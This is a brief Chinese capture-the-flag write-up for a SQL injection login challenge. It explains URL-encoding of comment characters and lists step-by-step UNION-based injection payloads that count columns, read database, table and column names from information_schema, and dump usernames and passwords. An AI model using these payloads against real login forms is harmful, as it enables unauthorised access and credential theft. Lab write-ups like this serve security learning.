#和- - 表示注释,url中的#号是用来指导浏览器动作的,对服务器端无用。所以http请求中不包括#,因此使用#无法表示注入,- -(空格)在传输过程中空格会被忽略,导致无法注释
可以使用–+的方式+会被解释成空格,也可以–%20或者#可以写成%23
首先是用万能密码尝试
有成功的返回,试着看看有多少字段
?username=1’ order by 4%23&password=123有错误返回
获取回显点位
?username=1’ union select 1,2,3%23&password=123
得到2和3,接着爆数据库名
?username=1’ union select 1,database(),3%23&password=123
有了库名再爆表名
?username=1’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123
可以看到是有两个表,第二个看着更符合要求,接着爆该表的列名
?username=1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’%23&password=123
将3个字段数据显示出来
?username=1’ union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=123
向右查找即可得到flag